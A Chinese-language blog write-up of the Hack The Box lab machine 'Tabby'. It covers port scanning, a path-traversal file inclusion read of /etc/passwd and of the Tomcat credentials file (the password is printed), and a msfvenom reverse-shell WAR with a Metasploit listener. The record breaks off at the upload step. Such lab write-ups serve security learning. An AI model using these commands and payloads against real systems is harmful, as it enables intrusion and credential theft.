HTB Tabby渗透测试详细记录

你是慕鸢呀~ 发布于 24 天前 9 次阅读 3884 字 预计阅读时间: 18 分钟


HTB Tabby渗透测试详细记录

摘要

本文记录了对Tabby的渗透测试全过程。通过端口扫描发现开放的服务,利用文件包含漏洞读取敏感信息,获取Tomcat管理员凭据,部署恶意WAR文件获取初始shell,利用密码重用提升至普通用户权限,最终通过LXD容器特权提升至root权限。

关键技术

  • 端口扫描与服务识别
  • 本地文件包含(LFI)漏洞
  • Tomcat Manager部署恶意WAR文件
  • 密码重用攻击
  • 密码破解技术
  • LXD特权容器提权

1. 初始侦察阶段

首先进行全端口扫描,快速识别目标机器的开放端口:

nmap -sT -min-rate 10000 -p- 10.10.10.194

参数说明:

  • -sT:使用TCP连接扫描,建立完整的三次握手
  • -min-rate 10000:设置最小发包速率,加快扫描速度
  • -p-:扫描所有65535个端口
  • 10.10.10.194:目标IP地址

扫描结果显示三个开放端口:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

2. 服务探测与信息收集

对开放端口进行详细的服务版本识别和基本脚本扫描:

nmap -sT -sC -sV -O -p22,80,8080 10.10.10.194

参数说明:

  • -sC:使用默认脚本集进行扫描
  • -sV:探测服务版本信息
  • -O:尝试识别操作系统信息

详细扫描结果:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
OS details: Linux 4.15 - 5.19

通过初步访问网站,我们发现多个链接指向megahosting.htb域名,尤其是一个有趣的链接:

http://megahosting.htb/news.php?file=statement

将域名添加到本地hosts文件:

echo '10.10.10.194 megahosting.htb' >> "/etc/hosts"

3. 漏洞识别与初始访问

3.1 文件包含漏洞(LFI)

访问主页http://megahosting.htb/ 我注意到一个特殊的参数,http://megahosting.htb/news.php?file=statement ,这个参数可能存在文件包含漏洞?file=statement,实在是过于明显了,尝试读取/etc/password

http://megahosting.htb/news.php?file=../../../../etc/passwd

返回值如下,成功利用了文件包含漏洞,获取到了/etc/passwd文件内容,确认存在本地文件包含漏洞。从文件内容中发现了用户ashtomcat

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash 

3.2 利用LFI获取Tomcat凭据

注意到目标存在Apache Tomcat服务(端口8080),尝试获取Tomcat的认证凭据。访问http://10.10.10.194:8080/manager/ ,尝试常见的弱口令失败,但是取消登陆之后,返回401错误页面,分析错误页面可知,登陆凭证存储在conf/tomcat-users.xml中

根据Tomcat9的标准安装目录,Tomcat用户凭据通常储存在:

/usr/share/tomcat9/etc/tomcat-users.xml

再利用之前的文件包含漏洞,就可以读取到Tomcat的用户名和密码,利用LFI读取该文件:

http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

成功获取Tomcat管理员凭据:

<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

3.3 利用Tomcat接口上传恶意WAR

尝试使用凭据登录图形管理界面<a href="http://10.10.10.194:8080/manager/">http://10.10.10.194:8080/manager/</a>,但返回403错误。提示没有权限查看此界面,默认情况下,管理员只能从与 Tomcat 在同一台机器上运行的浏览器访问。如果您想修改此限制,您需要编辑管理器的 context.xml 文件。

继续探索管理接口,对tomcat进行目录遍历、fuzz,尝试寻找新的线索

feroxbuster -u http://10.10.10.194:8080
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://10.10.10.194:8080/manager/FUZZ

找到接口:

http://10.10.10.194:8080/manager/text/

根据官方文档,我可以利用之前获取的凭据,在这个接口,执行命令,尝试上传木马获取shell了

步骤如下:

  1. 使用msfvenom生成恶意WAR文件:
msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.16 LPORT=9999 -f war -o exp.war

参数说明:

  • -p java/shell_reverse_tcp:使用Java反向TCP连接载荷
  • LHOST=10.10.16.16:指定接收反弹shell的IP地址
  • LPORT=9999:指定监听端口
  • -f war:生成WAR文件格式
  • -o exp.war:指定输出文件名
  1. 设置监听器接收反弹shell:
    1. 启动msf控制台
      msfconsole
      
    2. 设置监听器
      use multi/handler
      
    3. 设置攻击载荷类型,注意要和之前的相同
      set payload java/shell_reverse_tcp
      
    4. 设置本地主机ip和端口
      set lhost 10.10.16.16
      set lport 9999
      
    5. 验证设置
      show options
      
      Payload options (java/shell_reverse_tcp):
      
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  10.10.16.16      yes       The listen address (an interface may be specified)
       LPORT  9999             yes       The listen port
      
    6. 建立监听
      run
      
      [*] Started reverse TCP handler on 10.10.16.16:9999 
      
  2. 上传WAR文件到Tomcat:
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-12